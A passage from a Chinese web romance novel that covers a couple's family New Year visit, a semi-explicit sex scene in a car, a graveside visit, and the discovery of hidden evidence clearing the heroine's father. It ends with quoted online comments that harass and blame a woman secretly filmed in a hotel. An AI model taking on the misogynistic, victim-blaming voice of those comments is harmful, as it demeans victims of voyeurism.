智星科技旗下的子公司研发出一款全新智能宫/颈取样设备,模拟宫/颈在性/反应中出现的特异反应,在此基础上利用较温和的外力,让女性的宫/颈外口自动扩张,从而成功取样,同时机器的探针会对Y/道内部进行扫描,医生可以根据扫描画面辅助诊断。*此设备取缔传统的‘暴力’取样方式。并且成功将设备成本保持在可控范围内,从而让普通女性也能消费得起这项设备的检查费用。  一开始这项设备问世时遭遇过不少阻挠。一些男性专家反对的声音十分强烈。 他们觉得机器在操作过程里让女性产生一定的性/反应是在玷污女性。 从而引申到做这项检查的女性是奔着检查过程的性/反应而去的,批判通过此机器检查妇科病的女人都是不捡点。 此观点出来后,在网上也得到了一些人的支持,大多是事不关己的极端男/权主义者。 到现在还有不少传统女性依然因为这些‘道德’束缚,宁愿去做传统的取样检查也不愿意选择智能设备检查。 值得高兴的是,因为智能妇科检查设备的出现,让许多恐惧鸭嘴钳的女性也主动走入临床检查身体。这大大降低了国内妇科疾病病变化的概率。 祁昭懿真正的做到了,从女性角度让科技服务好女性。 不仅如此,她领导的智星科技正在重点攻克家用机器月嫂,若此项技术成功,日后可以将大多数全职主妇从繁重的家庭琐事里解放出来。 让花成花,让树成树 从进入内厅看见祁昭懿开始,林晚眼里的欣赏就没有褪去过。 “口水擦擦。”祁南骁带着怨念的语气靠近她。 林晚回头剜了他一眼。 祁南骁拉着她的手,笑着道:“会不会无聊?” 林晚摇头,看着他的眼睛亮晶晶的:“你怎么不跟我说祁昭懿是你的堂姐?” 祁南骁抿唇:“你也没问我。” 林晚:“” 祁南骁捋着她的发丝,笑着道:“你对她感兴趣?” 林晚点头:“没有女人不喜欢她吧。” 祁南骁捏着她的脸:“你只能喜欢我一个人。” 林晚拍掉他的手:“你幼不幼稚。” 祁南骁拉着她的手起身:“走吧,该吃饭了。” 老宅的饭厅很大,三米高的水晶吊灯下,还有一张能容纳十几人的圆木桌子。 祁占山坐主位,左右依次是几个儿女。 人一多,事就杂,祁南骁原是要过来带林晚坐他身边的,祁昭懿先一步把林晚安排在自己身边:“我们坐着吧。” 祁南骁看向林晚,眼里的意思很明确想要她跟自己走。 林晚看了看祁昭懿,果断选择自己偶像,头也不回的道:“我跟二姐坐这边就好,你去陪二叔他们吧。” 祁南骁满眼委屈,林晚怕他又搞幺蛾子丢人,直接坐在祁昭懿身边理都不理他。 谁知,下一秒祁南骁拉开她旁边的椅子随意一坐:“他们不用我陪,我也坐这。” 祁昭懿全程坐在座位上笑:“哎呦,你要不要这么腻歪啊,从早上到现在就贴着你老婆。” 祁南骁从旁说:“你都说是我老婆了,我不黏着她,黏着谁?” 林晚的手看似无意的挽了下祁南骁的胳膊,其实暗地里悄悄掐了他一下。 祁南骁顿时侧头,看了她一眼,她倒是端庄温婉,微笑着。 祁昭懿瞧见了,调侃道:“现在除了爷爷就只有你老婆能治得了你。” 祁南骁不以为意:“你没听过一句话,听老婆话能发大财?” 祁昭懿笑得胃都要抽筋了,就他身家还要怎么发财? 祁南骁拉着林晚的手,吊儿郎当的捏着她的手心,林晚没经历过这种场面,全靠一口气硬撑着,脸都红温了,她微微侧头,轻声道:“你能不能控制一下,在外面我给你面子,你别自爆糗事。” 祁南骁给她夹菜:“这是夫妻情趣,才不是什么糗事。” 林晚横了他一眼:“少在我偶像面前毁我形象。” 祁南骁举起酒杯,越过她看向祁昭懿:“二姐,我老婆喜欢你。等下跟我们夫妻俩一起拍张照。” 祁昭懿眸子微挑,举起酒杯笑了:“行啊。我也喜欢小晚。” 林晚羞得举杯,三人小小的碰了下杯子。 祁南骁笑着道:“怎么样,评价一下我们夫妻俩。” 祁昭懿看向林晚,和颜悦色的问:“他在家里也这么闷骚?” 林晚想说是,但还是给他面子微笑着摇头。 祁昭懿见状,感慨道:“真是个温柔可人的小美人,你小子能娶到这么漂亮的老婆还是你有福气。” 林晚全程皮笑肉不笑,祁南骁在一旁笑得意味深长,并不戳穿,谁让她外表人畜无害楚楚动人呢。 只有他知道私底下的林晚可跟温柔不搭边,在床上,要是不和她意,一言不和就夹他。把他磨得□□。 饭后,林晚和祁昭懿推着祁占山去后院散步,豆包在院子里跑来跑去。 原本祁南骁跟在后面逛着逛着,趁着祁昭懿推老爷子的时候,祁南骁拉住林晚说:“晚上在这睡?” 林晚没什么意见,点头应好。 祁南骁心猿意马放低声音问:“老婆,你月经走了没?” 林晚抬眸看向他:“没有。” 祁南骁嘀咕:“不应该啊,都七天了。” 林晚一时语塞,慢半拍道:“在老宅你想也别想。”就算隔音好,她也不可能让他乱来,要让人看到就他们房间洗床单,那不得丢死人。 祁南骁放低声音叫道:“老婆” “叫女神也没用。” 林晚甩开他的手直接找祁昭懿去了 整个新年从除夕到初五,两人都住在老宅。人来人往的,每天都得起来招待客人。 林晚作为祁南骁的妻子自然少不了要出来应酬,跟一些太太团们社交。 她不喜欢这种事,但并不是不会这种事。运动员的强大心里素质让她在各种场合都能毫不怯场。 一些本来打找看戏心态来串门的亲朋好友,见状也只能吃瘪。 林晚说到做到,在老宅住的五天里坚持原则不给祁南骁碰。他硬是忍了四晚,算上之前她月经快半个月吃素了。 馋得他快疯了,初五吃完晚饭,祁南骁就拜别祁占山,拉着林晚就往柳山别墅去。 一路上锲而不舍的暗示:“老婆你觉得这辆车怎么样?” 林晚打着哈欠玩手机:“不都差不多?” 祁南骁低声道:“这车后座空间比较大。” 林晚不以为意,压根没听出来他是什么意思。 祁南骁一边开车一边瞄她的腿,她今天穿着件月牙白的旗袍,上面是雏菊的淡淡花纹。 这几天在老宅到处都有暖气,穿着旗袍也不冷。 上车后大衣就被她给脱了,她坐在副驾上,裙摆侧边自然露出白皙纤细的长腿。 林晚正低头玩手机,就被一只宽大的手掌摸着腿,她不耐烦的打掉这只手:“好好开车。” 祁南骁手指敲了翘方向盘,意味深长的看了她身上的旗袍一眼,旗袍修身衬得她的身材凹凸有致,她的肤色本就白,穿着月牙白的旗袍好似柔情似水的白月光,美得很客观。 车子进入柳山别墅前,祁南骁忽然打给跟车的保镖,让他们自行开车离开,给他们放假。 林晚还在群里跟洛梵八卦梁子超和白箐的事。等她察觉不对劲时,车子已经停进别墅的车库里了。 车库里的灯自动感应亮起。祁南骁解开安全带扯掉领带,推门下车。 林晚收起手机,正要开门,门就被打开了。 祁南骁二话不说直接弯腰把她抱起扔在后座上,随即便坐了进来。 车里很暗,座椅是柔软的皮料,被丢上来时并不疼,林晚转过头,看着祁南骁高大的身影逼进跟她挤在后座,而后拉住车门,落锁。 林晚微微蹙眉:“你干嘛?” 祁南骁解开手腕上的手表,嗓音清冽低哑道:“我忍不住了,就在这解决吧。” 林晚睁大眼睛:“不” ‘行’字还没说出口就被堵住嘴。 林晚真的被吓到了,车里空间很大,并不觉得挤,但他却把她抵在拐角才低头吻了过来。 祁南骁的吻很凶,跟之前的不一样,像狩猎已久的猛兽,饥肠辘辘时碰上了美味的兔子,目标准确的捕捉,然后尽情享受美味。 林晚只能张着嘴,发出呜呜的求饶声。 车窗全都关着,祁南骁升起了挡板,空间仿佛变得有限,林晚被祁南骁亲得快要窒息了,小心地讨好他,想要他温柔一点,知足就好。 殊不知,这样只会让猛兽变得更加凶猛。 祁南骁的手不知何时从裙摆探了进去,顺着细腻的肌肤勾住细带就拉下。 林晚这下真的被吓到了,掌心覆在胯上制止:“祁南骁,不行。” 祁南骁睁开眼,眼里的欲/火还未褪去,他含着浓郁情绪的嗓音磨着她的耳垂往下:“老婆” “回房间好不好?”林晚眼尾泛红,声音都带着颤音。 祁南骁亲了下她的锁骨,哑声道:“不好。忍不了了,你忍忍” 他的声音里带着某种压抑的因素,林晚本能的觉得危险,要躲,却被他按住,裙摆下的手抬起,轻轻打了她的 “你饿了我11天,你知道这11天我是怎么过来的吗?” 又一声清脆的拍打声响起,林晚从一开始的羞恼到察觉到异样的愉悦,她忍不住声音变了调,从喉间溢出。 祁南骁像是在教训她,又好像是安抚,直勾勾的看着她,丝毫不错过她脸上的神情,听到她难奈的声音。 祁南骁退后,低低笑了一声:“喜欢?” 林晚咬着唇不说话,唯有这双妩媚的杏眸含着泪,剔透明艳。 祁南骁熟练的解开腰带金属扣子,抽拉 林晚的声音有些颤:“不要在这儿。” 身体比她想象中的诚实正因如此,她才羞赧,恨不得钻进座椅里。 祁南骁垂眸看着座椅上的湿意,俯身咬着林晚的耳朵低笑一声。 “明明就很喜欢嘛,怎么还说谎,不诚实要打屁” 祁南骁又打了一下,随即就听到林晚的呜咽,她揪着他手臂的衬衫,埋进他怀里。 “你混蛋。” 祁南骁低头吻了她的唇角、下巴、锁骨一路游离向下,直达目的地。 车窗上虽有涂料,看不到里面,但车外的光线依然毫不遮掩的洒了进来。 祁南骁单膝盖跪在地垫上。 —— 夜晚悄然寂静,车里关着灯,车库的灯还亮着,漏进一片光,黑暗与光明一线之隔,分界清晰。 车里暖气十足,车窗上凝了一层朦朦胧胧的雾气,又被掌心抹了去,只留下清晰的划痕。 —— 一个小时后,林晚一身狼狈被祁南骁抱出车子的时候,用尽最后一点力气骂他:“骗子。” 祁南骁气息不匀,低笑一声:“我没骗你,说好一次就一次。” “你闭嘴。” 祁南骁舌尖抵着腮,细细碾着唇齿间的韵味。 眼眸变得越发深邃:“老婆,你在老宅吃了多少菠萝?” 林晚气不打一处来:“干嘛?” 祁南骁咽了咽喉结:“好甜。下次开始前还吃菠萝好不好?” “” 第65章  真相 整个年假, 林晚也只是休了除夕和年初一这两天假。剩下的时间大多时候都是回队里训练。 只有有事的时候才能请假外出办事。 初六这天祁南骁陪着林晚去了趟陵园扫墓。两人把车停在陵园门口,拿着花和祭品往里走。 何俪的墓在最高处,当时这块地是她自己选的, 她喜欢高处可以眺望远景。 林晚走在前面,还没停下, 祁南骁就看到了墓碑上的照片,这是他第一次见到林晚的养母。 虽是养母,祁南骁却觉得林晚跟她长得很像, 眼神和笑容都是特别明艳大气的人。 墓碑中间刻着何俪的名字, 角落的日期昭示着她在这人间一趟仅仅只有短暂的50几年。 林晚如常蹲下来用毛巾擦拭墓碑, 嘴上说:“妈, 我结婚了。这是你女婿,今天带来见你来了。” 祁南骁先是理了下身上的西服才深鞠躬, 而后把手里的洋桔梗放下:“妈,初次见面,我叫祁南骁,是小晚的丈夫。感谢您将小晚培养得如此优秀, 能跟她在一起是我这辈子最幸运的事。” “我今年30岁,性格随和且幽默, 平日里我会听小晚的话,绝对不惹她生气。我目前帮家里打点生意,工作稳定, 有车有房无欠款。您放心,我会对小晚好的, 一定不会让她吃苦。” 林晚听到这段话,心里甜甜的又忍不住想吐槽:“妈,他是爸给我找的对象, 你要是有什么意见的记得托梦给我爸顺便让他早点醒来,别再睡了。” 祁南骁点了三根香,吹燃后准备屈膝下跪,林晚意外,想要扶起他,他却已经跪下了,举着香磕了三个头:“妈,您放心把小晚交给我,我会对她好一辈子,绝对不会背叛她。” 林晚抿着唇,什么也没说,眼前情不自禁泛起一层湿意。 祁南骁扯了扯她的衣摆,林晚垂眸:“干嘛?” 祁南骁道:“你也一起来给咱妈磕一个。” 林晚道:“我们家不讲究这个。” 嘴上这么说,但还是老实下跪跟着祁南骁一起磕了三个头。 起身时,祁南骁道:“我跟你也是拜过高堂的人了,天地父母都认证过了,以后你可别想甩开我。” 林晚忍不住吐槽:“你嘴这么甜也没用,我妈又听不到。” 祁南骁道:“女婿见丈母娘,嘴甜点怎么了?谁说咱妈听不到的,她在天有灵” 正说着,一阵风拂过卷起一片叶子飘在祁南骁肩膀上。祁南骁笑着取下叶片道:“你看,咱妈这不就是听到了。” 林晚笑了,心底的所有阴霾在这一刻晴空万里。 祁南骁似是来了兴致,蹲在何俪的照片前,将他追她的过程里如何艰辛、如何困难添油加醋一通乱说。 林晚都怀疑他是不是被人给夺舍了,话怎么这么多。 最后祁南骁搂着林晚的腰对着墓碑三鞠躬:“妈,您别担心,我会照顾好小晚的。有空给爸托几个梦,让他早点醒来,我跟小晚会一直等着他。” 从陵园出来后,两人又去了趟医院探望林国冬。 林晚站在门口和医生聊天,林国冬目前面临的最大的困难不是生命危险,而是活着却未醒来,陷入漫长的等待。 他自从手术后基础状态虽有好转,但医生进行多次脑功能评估得出的结论依然不理想。 医生也隐秘的向林晚透露,临床上植物人患者成功苏醒的案例相较于总患者人数,寥寥无几。这也意味着,病人醒来的概率很低。 得到这个答案的这一刻,说不上来是什么感觉,只觉得有什么拽着她跌坠,一股力不从心席卷全身。 余光正好看见病房前,祁南骁站在床头柜前,先是在床头柜拧干毛巾,而后慢条斯理的替林国冬擦手,一边擦一边嘴里碎碎念跟床上的人说话。 林晚看到这一幕心里是甜的,喉结却在哽咽。 从医院出来时,林晚一直抿着唇沉默,祁南骁陪着她,温声安慰:“只要还有一丝希望就还会有转机。相信爸,他一定会醒来的。” 林晚伸手要抱抱,什么也没说,眼前泛起一层薄薄的水雾。 祁南骁抱住她,软软一只在怀里,他心都化了。 林晚哽咽道:“我知道,就是不知道该怎么做才能帮助到他。” 祁南骁拍了拍她的后背:“只要你好好的,就是对爸最大的帮助。” 林晚埋头在他颈间嗅了嗅:“好。” —— 年一过,林晚又开始了日复一日的训练,今年是奥运年,从击剑队到整个国家队都陷入了一种紧张备战的氛围里。 林晚的训练时长也比原来增加了不少。 每天雷打不动5点半起床,吃完早餐就去训练馆。 一待就是到晚上八点,力量训练,高强度间歇性训练,敏捷性,步法,爆发力,击剑战术训练等综合训练项目每天都要重复练。 用来提高她的速度,力量,耐力,灵活性。 如此一来,林晚跟祁南骁的相处交集的时间便少了许多。 他上班时,她在训练。他下班了,她还在训练。大多时候,祁南骁下班了都会在训练馆门口,一边处理工作一边等她。 等林晚训练完出来时基本上已经精疲力尽了,累得话都不想说。 可每每她打开车门,看到祁南骁坐在后座里等她,还给她准备惊喜时,她还是会欣喜恢复力量。 祁南骁心疼她,但又不好干预她的训练,只能尽可能多的给与理解和包容,让她在除了训练以外的时间可以彻底休息放松。 晚上回到家,林晚就趴在瑜伽垫上,祁南骁会用筋膜枪帮她按摩肌肉。家里的健身房从她住进来后添了不少按摩椅。 结束后,祁南骁便给她端来热乎乎的补汤,看着她喝下去。 等祁南骁洗完澡出来后发现床上的被子微微拱起。 林晚已经躺下了,祁南骁脱下拖鞋赤着脚踩在地板上,无声无息走到床前。 林晚侧躺在床上,脸蛋白皙水嫩,长睫如羽,身上盖着柔软的被子,将她浑身的气息都柔和了几分,周围萦绕着一股岁月静好的温馨。 祁南骁心软得一塌糊涂掀起被子的另一边躺了上去,指间轻轻描着她的五官,最终落在她眼下的淡淡乌青处,这是累的。 祁南骁指尖微顿,眼底尽是心疼,这样的日子她每星期要过六天,只有周日才会休息一天,十几年如一日。 其实她就算不走专业运动员这条路,也会有远大前程。但她还是义无反顾的坚持这条充满荆棘的道路,即便身上有不少伤病,也从未打倒过她。 她的周身好像一直都亮着密织的光环,让她的梦想与生命璀璨发光。逆风执炬,熠熠如星。 祁南骁搂紧她的腰身,轻轻在她的额头上落下一个吻。 此刻,他内心燃起久违很久的一种冲动——想要更好地活着。 只有他好好活着,才能保护好她,给她更好的生活。 ...隔天早上,祁南骁送林晚去训练馆,在门口恰好碰到了吴添。  林晚和他打招呼:“吴队,早啊。” 吴添应声:“早。” 祁南骁朝着吴添点头示意,把背包交给林晚,又嘱咐她几句话。 吴添等祁南骁走后,才出声问林晚道:“你这样一天到晚不着家,你男人家里没意见?” 林晚笑着说:“你怎么也有这老传统思想了?他们能有什么意见?” 两人并肩走进电梯,吴添问道:“你男人家里那么大一个豪门,他们没有给你思想压力让你回家传宗接代?” 林晚哭笑不得:“他们不会。” 吴添半信半疑:“你怎么对他们这么自信?” 林晚笑了:“我不是对他们自信,我是相信我自己。如果他们是那样的人,那我会重新思考这段婚姻适不适合我。” 吴添闻言,沉默半晌拍了拍林晚的肩膀:“这才是我的学生。” 两人往训练馆去,进入更衣室前,吴添忽然低声提醒她:“你爸那件事确定没问题的话,今年奥运名单肯定有你。” 他这是暗示林晚,林国冬的事还是得尽早解决。 林晚怔然:“我知道了。” 她和林国冬是一荣俱荣,一损俱损的一家人。无论她实力如何,最后林国冬没能洗清罪责,她依然还是会被国家队放弃- — 晚上祁南骁去接林晚时,就发现她情绪不太对。 上了车,林晚靠在座椅上,长发如缎随意挽成低马尾,靠在座椅上休息。 祁南骁掌心轻轻盖在她后颈,温热传递,林晚动了动,然后把脸转过来,目露疲惫的看着他。 看了一会儿,把头躺他大腿上:“你帮我揉揉吧,头疼。” 祁南骁照做,手上的力气不轻不重,舒适度刚刚好。林晚的头皮随这节奏总算稍稍放松下来。 “心情不好吗?”祁南骁关心道。 林晚闭着眼,闷声闷气道:“如果我去不了奥运会,你们会觉得我很失败吗?” 祁南骁温声开口,语气却是坚定无比:“不会。” 林晚沉默。 祁南骁道:“以你在国际赛事上的排名完全有资格参加奥运会的,是发生了什么事吗?” 林晚明显顿了一下,默了默才道:“教练跟我说,如果我爸的事不能解决,队里可能会考虑是否让我参加奥运会。” 国家队的运动员本身就需要严格审核过,更何况还是要代表国家去参加奥运会,更加需要严格要求了。 在林国冬还没有洗刷身上的冤屈前,林晚的确会被影响。 祁南骁脑子短暂空白了下:“我知道你现在思绪很乱,你想听听我的意见吗?” 林晚点了下头。 祁南骁握住她的手,声音温和,娓娓道来:“你我都知道爸是清白对吗?” “是。” “爸他身后的人也知道这一点,他们也在斗争努力还爸一个清白。” 林晚停顿三秒道:“真的吗?” 祁南骁点头:“我调查爸的事情时,有人给我递话了些话,让我照顾好你,爸的事他们正在努力。” 林晚抬眸:“你知道背后搞我爸的人是谁?” 四目相对里,林晚眼眸平静且明亮,祁南骁适时紧了下手劲,紧紧握住她的手:“秦家背后的利益集团。” 林晚眼里的茫然拂去大半,心底从一开始的愤怒到后面怒极反笑:“是他们。” “所以秦东言从一开始接近我,找我代言都是有目的性的。” 她声音平静里带着怒不可遏,祁南骁眼露心疼,低声道:“外面的事你不用操心,专心训练。我不会让这些事阻挠到你参加奥运会的。” 林晚抿唇说:“你想跟他们对上?” 祁南骁没说话,但他的表情已经给出了肯定的答案。 林晚道:“你不要跟他们产生冲突。” 祁南骁垂眸,林晚看着他道:“秦家能这么肆无忌惮,其背后的利益集团肯定不是省油的灯。你搅和进来,祁家也会受到牵连。” 祁家的体量本就很大了,出面保护她和林国冬已经触动了很多人的底线。 对面是一群狼,祁家只是一只虎,万一百密一疏祁家也被围剿,只会壮大对方的口袋。 祁南骁一眨不眨的看着她道:“我是你丈夫,有人不想让你好过,我不让他们好过,天经地义。” 林晚理智的说:“你一插手,就代表整个祁家都入局了。你是祁家的掌权人,你不能把祁家带进风暴。我爸没做错,他们没有完整的证据链根本没法定我爸的罪,我不怕他们,哪怕跟他们耗下去,我也不怕。” 祁南骁摸了摸她的头道:“你傻啊,现在是你运动生涯的黄金时期,你跟他们耗,就是在伤害自己。你是我老婆,我们是一体的,就算我们祁家不出手,对方也不会放过我们的。与其忍气吞声,不如主动出击。” 林晚垂着眸沉默了半晌:“对不起,还是连累到你们。” 祁南骁轻轻敲了下她的脑门道:“以后别再说这种话了。你是我老婆,我不帮你帮谁?” 林晚今晚失眠,祁南骁这两天也是费神。晚上两人躺在一张床上睡觉,祁南骁睡得很沉,半夜下意识抱住身边的人,却扑了个空。 祁南骁当即醒来,发现身边空了,翻身坐起,出了主卧,闻声来到书房,林晚正在里面翻看东西。 祁南骁推开房门走进去道:“怎么不再睡会?”现在才四点多,离她起床还有一个多小时。 林晚抬起头道:“睡不着,我想看看我爸留下的东西。” 闻言,祁南骁沉默片刻,上前道:“我陪你。” 整个过程,林晚始终很平静,甚至还跟祁南骁讨论林国冬的独特审美。 这些东西都是林国冬的私人物品,之前一直放在云锦书院那边。 林晚搬到柳山别墅后,祁南骁便安排人把那边的东西都搬了过来。 林国冬平日里的两个爱好就是养狗和木雕。他给林晚雕了一整套木偶形象。 从她被林国冬抚养开始,他就用木雕人偶记录她的成长和他们一家人在一起的有趣场景。 十几年来都是如此,到了现在林晚已经收集了满满两箱木雕人偶。 祁南骁帮她挨个将这些木偶擦干净,这些木雕个个都上了色,看起来栩栩如生活灵活现,有些明显是林晚小时候的模样,甚至是可爱。 林晚牵起唇角,给祁南骁诉说起这每一个木偶背后的故事。 “这个是我13岁时第一次参加击剑比赛时的样子。那会才1米六不到。他总笑我跟佩剑一样高,然后真的把我雕得跟佩剑一样高。” 林晚拿起一个穿着击剑服的小女孩的木雕,栩栩如生的小女孩站在和它一样高的佩剑旁插着腰,仰着下巴,俏皮不失可爱。 祁南骁看着眼前这一些惟妙惟肖的小小木雕,每一个都将林晚可爱俏皮的一面展现得淋漓尽致。他忽然有点理解林国冬为什么会喜欢雕这些木雕了。 “这个呢?”祁南骁拿起最近的一只木雕。他看到一个明显是林晚的小女孩,抱着个叮当猫咧嘴龇牙的木雕,忍不住笑出声:“这是你几岁的时候,看起来傻乎乎的,” 林晚转头看了一眼:“这个是我被刘队收下当学生的那天。我爸听说后给我买了只哆啦A梦。我高兴了一个晚上都没睡。” 光是看这木雕就能想象到那时的林晚该有多幸福。 祁南骁忍不住拿着木雕在手里转了下:“你这哆啦A梦难不成里面还有礼物?怎么咕噜咕噜响?” 林晚拿过木雕在耳边摇了下,发现里面还真是有声响:“这不可能啊,这是实木的都是我爸亲手雕的,里面要是塞了东西,他肯定会告诉我的。” 祁南骁眸色微顿拿过木雕仔细研究了下:“这个哆啦A梦的口袋封口好像是用胶封住的。” 林晚闻言也反应过来,她视线微垂摸了摸上面的封口道:“能打开吗?” “我试试。” 祁南骁找来把剪刀,小心割开上面的封口,里面果然是空心的,还有一枚黑色的片状物品,倒出来后发现是一张储存卡。 两人神情一变,几乎在同一时刻联系到之前那个亡命之徒闯进家里威胁林晚要的东西。 林晚拿起那枚储存卡:“查一下吧。” 祁南骁特意找了台全新的笔记本电脑插上读卡器,随即便看到电脑上跳出一个带密码的文件。 林晚报了她们一家三口的生日还有林国冬跟何俪的结婚日期都不对。 祁南骁微微蹙眉道:“除了生日,对你爸来说还有哪个节日是意义非凡的?” 林晚垂眸沉思了许久,视线无意间落在编码为1的那个木雕,她神色微变报了个数字。 祁南骁敲下键盘,果断这一次成功解锁,他问道:“这个数字有什么不一样吗?” 林晚眼露悲伤,悄然握紧拳头:“这是我被他们收养的那一天。” 祁南骁搂住林晚的腰,不知说什么话安慰才好,好不容易找到一对爱她的父母,如今一个去世了,一个生死未卜。 林晚调整好呼吸看向屏幕。 文件打开,上面是密密麻麻的名单、录音、视频、图片、遗书等相关证据。 她和祁南骁头也没抬一直看着上面的文件,越看心越沉。 上面的每一个名单说出来都是足够让人震惊的程度。而林国冬把他们干的坏事全都收集起来了,并且保留了足够的证据。 林晚也从这些文件里才知道,林国冬为什么会被人报复。林国冬一开始就接到任务做卧底潜伏在那帮人中,假装对他们服软和他们同流合污,其实暗中一直在悄悄收集证据。 可惜他的那一方里也出现了叛徒,把林国冬卖得一干二净。 其中有一段录音里,那些人秘密商榷要不惜一切代价把林国冬弄死,还有人提议林国冬不死就找理由把林晚弄得身败名裂,逼林国冬妥协。 林晚目光始终落在屏幕上,眼神炙成灰烬,她紧紧的攥着拳。 通过林国冬的遗书,林晚知道了他的许多事。 林国冬早就知道那一天,那些人设好圈套要弄他。可如果他不出面,那些人就会拿林晚开刀。 他不想连累到林晚,所以他思索再三打电话给祁占山求他保护好林晚。两人商量好让林晚嫁进祁家。 之后,他便打给林晚苦苦哀求她嫁给祁南骁。 得到林晚的保证后,林国冬将这些证据封存在他送给林晚的木雕摆件里。希望有一天,这些可以成为一把斩小人的利剑。 从他的遗书里也能知道,那段时间的林国冬身不由已,就连家里都被安置了监控和窃听器,他的电脑还被安装了病毒,他出门也被严格监视,他根本没法安全把证据送出去,只能把证据藏起来。 安排好一切,他孤身一人前去赴鸿门宴。后面的事,林国冬没有机会写了。 但祁南骁和林晚也能分析得出来,那些人一定是用了什么手段想让林国冬违背原则,林国冬宁死不屈,从楼上跳了下去。 最后还被他们举报造谣,他贪墨国企公款。然而证据链不足,林国冬始终没有被判,案件也一直在调查。 看到这,林晚忍不住捂住嘴,压抑的哭声还是从指缝中溢出。 祁南骁心底咯噔一下,紧紧搂着林晚。 林晚哽咽到几近失声,边哭边说:“都怪我,要不是有我这个软肋,他不会被他们要挟的。他可以完全可以正正当当的把那些人绳之以法,他根本不用像现在这样一身伤病还要背负骂名。” 祁南骁剜心一样的疼,他贴着林晚的额头,轻声说:“小晚,这不是你的错,更不是爸的错,你们都是受害者。该死的那些小人,我们现在有证据了,一定可以洗清爸身上的冤屈。” 林晚唇瓣颤抖,根本说不出话。 祁南骁也红了眼眶,擦着林晚的眼泪,温声道:“你有我,有整个祁家,我们永远是你的后盾。爸这么做是为了保护你,他想要你好好的,你千万不要钻牛角尖,我跟你一起对付那些该死的人好吗?” 一句‘爸是为了保护你’再次击中林晚的心,眼泪顷刻间划落,她再也忍不住失声痛哭起来。 祁南骁如鲠在喉,心里难受至极,如刀绞般疼痛。心酸林国冬遭遇的一切,更心痛林晚短短二十几岁就经历那么多生死离别磨难。 她本该像个公主一样被父母呵护长大的。可却从她出生起就遭到亲生母亲的抛弃,在奶奶的冷眼中长大。 好不容易等到唯一爱她的亲生父亲回家,父女俩可以相依为命生活在一起,却又等来了亲生父亲死在卧底的任务里。 小小的她以为可以和亲生母亲重新开始新的生活,却被母亲亲手推下深渊,被活活折磨了两年。 直到林国冬跟何俪的出现给她一个温暖的家,完整的父爱母爱。全心全力托举她,让她逐渐走出阴影,强大自信起来。然而她却在这十几年里相继失去了爱她的养母,如今就连养父也危在旦夕。 祁南骁闭上眼睛,没比这一刻更加憎恨贼老天的不公。他在心里暗暗发誓,一定要那帮挨千刀的付出惨痛代价。 第66章  风波涌起 两人一直抱在一起直到天亮, 精疲力尽。 初晨的太阳从地平线升起,一只无形的大手在淡青色的天边抹上一层金色,光线洒进书房那一刻。 林晚抬眸, 祁南骁就坐在她身旁,像是沐浴在晨光里, 周身镶了一层温柔的光圈,望向她的眼神温柔包容。 让林晚觉得,哪怕前路是未知之镜, 她依旧能一往无前, 坚定从容。 林晚抬眸时, 祁南骁第一时间发现, 低头问:“要不跟睨教练请个假,今天在家休息?” 林晚摇头:“不了。” 祁南骁指腹轻轻擦了下她的脸颊:“你眼睛有点肿, 还是在家休息一天吧。” 林晚揉了揉眼睛:“消消肿就好。” 祁南骁低头亲在她脸颊上,一下又一下,跟小鸡啄米似的。 林晚被亲久了忍不住推开他:“你干嘛?” 祁南骁道:“给你充充电。” 林晚:“” 祁南骁本以为林晚会调侃他,没想到林晚反而俯身, 唇压在他嘴角上,半晌才抬起来:“也给你充充电。” 祁南骁抬手将林晚揽到怀里, 什么也没说,林晚闭上眼睛,只有感受着祁南骁的体温, 才能把她从绝望愧疚的深渊里往回拉,她不停的跟自己说:要坚强, 要给林国冬报仇。让小人受到应有的惩罚。 深吸一口气,林晚努力调整好自己的心态,她抬起头面色如常的道:“我好了。我去洗个脸, 待会还要去训练。” 祁南骁起身道:“走吧,我陪你去。” 祁南骁的动作很快,将这些证据打包送到了林国冬的老上司手里。 之后便和蒋酌他们开始了狙击窦家的计划。 此前他一直暗地里收集窦家的那些勾当。打从周惠和沈怀川出现在林晚面前的那一刻,他就下定决心要让他们和秦家付出惨痛代价。 所以祁南骁这段时间很忙,却也没有忽略林晚。 周日,林晚休假,祁南骁还要忙工作。怕她孤单便联系了洛梵上门跟她聚会。 祁南骁的车刚出门,洛梵就出现在门口,换了鞋往里走,看见坐在沙发上撸猫的林晚,出声道:“外面都闹翻天了,就你还这么悠闲。” 她也是从梁子超那边得知了一些梁家、方家、蒋家还有祁家四方联手在南市和京市两地搅天搅地。 林晚抬眸,不明所以:“什么事?” 她最近有点感冒,昨天还有点低烧早早就入睡了,今天难得没有早起训练,睡到九点多自然醒,一直没看手机,压根不知道网上出了什么事。 洛梵拿出手机坐在她身旁:“你自己看看吧。” 一个月前,一个女网红去南市旅游,入住了南市著名的四星级酒店。第二天便继续开启在南市旅游的拍摄计划。 却没想到过了几天后,该女网红视频底下出现一大片低俗、侮辱的评论。同时她的私信也收到不少男人的撩骚、辱骂,还给她发了一些不堪入目的骚扰视频。 起初女网红并没有在意这些骚扰,她作为一个拥有大几百万粉丝的颜值博主,每天都会收到无数的骚扰私信。 直到她的闺蜜发给她视频,她才惊觉自己当初在酒店洗澡过程被摄像头直播到了色/情网站上。 而这些视频还被人打码发在一些三流媒体的社交账号上引流。一时间,粉丝、非粉都在私底下转发她的私密视频。 不堪入耳的言论日渐增多,有人骂她骚、有人明码标价要买她陪睡,有人对她的身材评头论足,甚至还有人给她发一些恶心的果照骚扰她。 女网红的家人也没被放过,连她的母亲也被许多人私信骚扰,她的父亲因此大病一场。 【她妈也还是风韵犹存。】 【小孩子才做选择,母女俩我都要。】 【好家伙,你这是要人家母女俩一起伺候你啊,你遭得住吗?】 【我说楼上的,你们真是够了。没学过生物吗?没见过女人身体吗?博主是受害者,你们不帮她就算了,还在这造黄谣?今天被拍的是博主,明天被拍的就是你们,唇寒齿亡的事,你们难道不知道吗?女性安全,不容忽视!】 【楼上的好绿茶啊,你怎么就确定博主是受害者,不是自愿的?说不定人家就喜欢被拍呢。你们女人住酒店不好好检查一下?自己都不注意,那就别怪我们把她当素材~】 【偷拍?我让他们看看爷爷的Diao,见识见识世面!】 【别说偷拍了,就是让我去拍/片,我都愿意,又能拍电影又能爽的,还能有钱领就是被他们看到又怎样?】 【老哥,你们都是在哪看的,能不能分享分享。】 【连片都不会找,小屁孩回家玩泥巴去。】 【有一说一,传播这种视频犯法的。】 【切,你看看有哪个蜀黍抓看三级片的?吃饱了没事干?全天下男人都看,他们抓得过来吗?】 【既然觉得被拍无所谓,干嘛还要骂博主?没学过生物吗?】 【娶她要多少彩礼?】 【倒贴钱我都不要,娶进门的不是干净的我不要。】 